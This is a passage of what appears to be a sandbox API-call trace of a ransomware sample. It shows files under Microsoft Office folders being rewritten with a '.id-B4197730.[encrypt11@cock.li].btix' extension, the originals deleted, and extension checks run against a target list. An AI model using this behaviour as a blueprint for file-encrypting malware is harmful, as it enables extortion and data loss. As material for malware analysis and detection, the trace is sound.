lpOverlapped=0x0) returned 1 [0160.823] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf2, lpOverlapped=0x0) returned 1 [0160.823] SetEndOfFile (hFile=0x350) returned 1 [0160.823] CloseHandle (hObject=0x350) returned 1 [0160.823] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.823] SetEndOfFile (hFile=0x300) returned 1 [0160.826] CloseHandle (hObject=0x300) returned 1 [0160.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll")) returned 1 [0160.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0160.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0160.827] lstrlenW (lpString=".doc") returned 4 [0160.827] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.827] lstrlenW (lpString=".docx") returned 5 [0160.827] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.827] lstrlenW (lpString=".pdf") returned 4 [0160.827] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.827] lstrlenW (lpString=".xls") returned 4 [0160.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.827] lstrlenW (lpString=".xlsx") returned 5 [0160.827] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.827] lstrlenW (lpString=".ppt") returned 4 [0160.827] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0160.827] lstrlenW (lpString=".zip") returned 4 [0160.827] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.827] lstrlenW (lpString=".rar") returned 4 [0160.827] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.827] lstrlenW (lpString=".bz2") returned 4 [0160.827] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.827] lstrlenW (lpString=".7z") returned 3 [0160.827] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0160.827] lstrlenW (lpString=".dbf") returned 4 [0160.827] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0160.828] lstrlenW (lpString=".1cd") returned 4 [0160.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0160.828] lstrlenW (lpString=".jpg") returned 4 [0160.828] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.828] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.828] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.829] GetLastError () returned 0x0 [0160.829] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x14d50, lpOverlapped=0x0) returned 1 [0160.862] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x14d60, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x14d60, lpOverlapped=0x0) returned 1 [0160.867] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.867] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf4, lpOverlapped=0x0) returned 1 [0160.867] SetEndOfFile (hFile=0x350) returned 1 [0160.868] CloseHandle (hObject=0x350) returned 1 [0160.868] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.868] SetEndOfFile (hFile=0x300) returned 1 [0160.871] CloseHandle (hObject=0x300) returned 1 [0160.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll")) returned 1 [0160.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0160.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0160.872] lstrlenW (lpString=".doc") returned 4 [0160.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.872] lstrlenW (lpString=".docx") returned 5 [0160.872] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.873] lstrlenW (lpString=".pdf") returned 4 [0160.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.873] lstrlenW (lpString=".xls") returned 4 [0160.873] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.873] lstrlenW (lpString=".xlsx") returned 5 [0160.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.873] lstrlenW (lpString=".ppt") returned 4 [0160.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0160.873] lstrlenW (lpString=".zip") returned 4 [0160.873] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.873] lstrlenW (lpString=".rar") returned 4 [0160.873] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.873] lstrlenW (lpString=".bz2") returned 4 [0160.873] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.873] lstrlenW (lpString=".7z") returned 3 [0160.873] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0160.873] lstrlenW (lpString=".dbf") returned 4 [0160.873] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0160.873] lstrlenW (lpString=".1cd") returned 4 [0160.873] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0160.873] lstrlenW (lpString=".jpg") returned 4 [0160.873] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.874] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.874] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.874] GetLastError () returned 0x0 [0160.874] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0160.891] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0160.907] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2c480, lpOverlapped=0x0) returned 1 [0161.017] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2c490, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2c490, lpOverlapped=0x0) returned 1 [0161.023] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.023] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf0, lpOverlapped=0x0) returned 1 [0161.023] SetEndOfFile (hFile=0x350) returned 1 [0161.023] CloseHandle (hObject=0x350) returned 1 [0161.023] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.023] SetEndOfFile (hFile=0x300) returned 1 [0161.025] CloseHandle (hObject=0x300) returned 1 [0161.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe")) returned 1 [0161.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65 [0161.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65 [0161.026] lstrlenW (lpString=".doc") returned 4 [0161.026] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0161.026] lstrlenW (lpString=".docx") returned 5 [0161.026] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0161.026] lstrlenW (lpString=".pdf") returned 4 [0161.026] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0161.026] lstrlenW (lpString=".xls") returned 4 [0161.026] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0161.026] lstrlenW (lpString=".xlsx") returned 5 [0161.026] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0161.026] lstrlenW (lpString=".ppt") returned 4 [0161.026] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0161.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65 [0161.026] lstrlenW (lpString=".zip") returned 4 [0161.026] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0161.026] lstrlenW (lpString=".rar") returned 4 [0161.026] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0161.026] lstrlenW (lpString=".bz2") returned 4 [0161.026] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0161.026] lstrlenW (lpString=".7z") returned 3 [0161.026] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0161.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65 [0161.026] lstrlenW (lpString=".dbf") returned 4 [0161.027] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0161.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65 [0161.027] lstrlenW (lpString=".1cd") returned 4 [0161.027] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0161.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65 [0161.027] lstrlenW (lpString=".jpg") returned 4 [0161.027] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0161.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0161.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.028] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1 [0161.028] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0161.028] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f4a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.111] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x839d55, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0161.111] ReadFile (in: hFile=0x300, lpBuffer=0x3f8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.396] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.396] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x186d800, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0161.396] ReadFile (in: hFile=0x300, lpBuffer=0x3fca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fca058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.219] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.219] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fca8*=0xc0104, lpOverlapped=0x0) returned 1 [0162.232] SetEndOfFile (hFile=0x300) Thread: id = 102 os_tid = 0xfe0 [0146.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3bc0e40 [0146.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3bd0e48 [0146.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf250 [0146.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa338 [0146.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf268 [0146.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x4056020 [0146.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf280 [0146.493] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf280, Size=0x20) returned 0x69db28 [0146.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf280 [0146.493] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf280, Size=0x20) returned 0x69dba0 [0146.493] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.493] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.493] Wow64DisableWow64FsRedirection (in: OldValue=0x365ff50 | out: OldValue=0x365ff50*=0x0) returned 1 [0146.493] lstrlenW (lpString="kernel32.dll") returned 12 [0146.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.493] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.494] Sleep (dwMilliseconds=0x64) [0146.702] Sleep (dwMilliseconds=0x64) [0146.910] lstrlenW (lpString="BCD") returned 3 [0146.910] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.911] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.911] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.911] lstrlenW (lpString=".doc") returned 4 [0146.911] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString=".docx") returned 5 [0146.911] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0146.911] lstrlenW (lpString=".pdf") returned 4 [0146.911] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString=".xls") returned 4 [0146.911] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString=".xlsx") returned 5 [0146.911] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0146.911] lstrlenW (lpString=".ppt") returned 4 [0146.911] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.911] lstrlenW (lpString=".zip") returned 4 [0146.911] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString=".rar") returned 4 [0146.911] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString=".bz2") returned 4 [0146.911] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString=".7z") returned 3 [0146.911] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0146.911] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.911] lstrlenW (lpString=".dbf") returned 4 [0146.911] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.911] lstrlenW (lpString=".1cd") returned 4 [0146.911] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0146.911] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.911] lstrlenW (lpString=".jpg") returned 4 [0146.911] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.912] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.912] lstrlenW (lpString=".doc") returned 4 [0146.912] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString=".docx") returned 5 [0146.912] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0146.912] lstrlenW (lpString=".pdf") returned 4 [0146.912] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString=".xls") returned 4 [0146.912] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString=".xlsx") returned 5 [0146.912] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0146.912] lstrlenW (lpString=".ppt") returned 4 [0146.912] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.912] lstrlenW (lpString=".zip") returned 4 [0146.912] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString=".rar") returned 4 [0146.912] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString=".bz2") returned 4 [0146.912] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString=".7z") returned 3 [0146.912] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0146.912] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.912] lstrlenW (lpString=".dbf") returned 4 [0146.912] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.912] lstrlenW (lpString=".1cd") returned 4 [0146.912] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0146.912] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0146.912] lstrlenW (lpString=".jpg") returned 4 [0146.912] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0146.913] lstrcmpiW (lpString1=".LOG1", lpString2=".btix") returned 1 [0146.913] lstrlenW (lpString="BCD.LOG1") returned 8 [0146.913] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.913] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=0) returned 1 [0146.913] CloseHandle (hObject=0x34c) returned 1 [0146.913] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.913] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.913] lstrlenW (lpString=".doc") returned 4 [0146.913] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0146.913] lstrlenW (lpString=".docx") returned 5 [0146.913] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0146.913] lstrlenW (lpString=".pdf") returned 4 [0146.913] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0146.913] lstrlenW (lpString=".xls") returned 4 [0146.913] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0146.913] lstrlenW (lpString=".xlsx") returned 5 [0146.913] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0146.913] lstrlenW (lpString=".ppt") returned 4 [0146.913] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString=".zip") returned 4 [0146.914] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString=".rar") returned 4 [0146.914] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString=".bz2") returned 4 [0146.914] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString=".7z") returned 3 [0146.914] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString=".dbf") returned 4 [0146.914] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString=".1cd") returned 4 [0146.914] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString=".jpg") returned 4 [0146.914] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString=".doc") returned 4 [0146.914] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString=".docx") returned 5 [0146.914] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0146.914] lstrlenW (lpString=".pdf") returned 4 [0146.914] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString=".xls") returned 4 [0146.914] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString=".xlsx") returned 5 [0146.914] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0146.914] lstrlenW (lpString=".ppt") returned 4 [0146.914] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0146.914] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.914] lstrlenW (lpString=".zip") returned 4 [0146.915] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0146.915] lstrlenW (lpString=".rar") returned 4 [0146.915] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0146.915] lstrlenW (lpString=".bz2") returned 4 [0146.915] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0146.915] lstrlenW (lpString=".7z") returned 3 [0146.915] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0146.915] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.915] lstrlenW (lpString=".dbf") returned 4 [0146.915] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0146.915] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.915] lstrlenW (lpString=".1cd") returned 4 [0146.915] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0146.915] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0146.915] lstrlenW (lpString=".jpg") returned 4 [0146.915] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0146.915] lstrcmpiW (lpString1=".LOG2", lpString2=".btix") returned 1 [0146.915] lstrlenW (lpString="BCD.LOG2") returned 8 [0146.915] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, 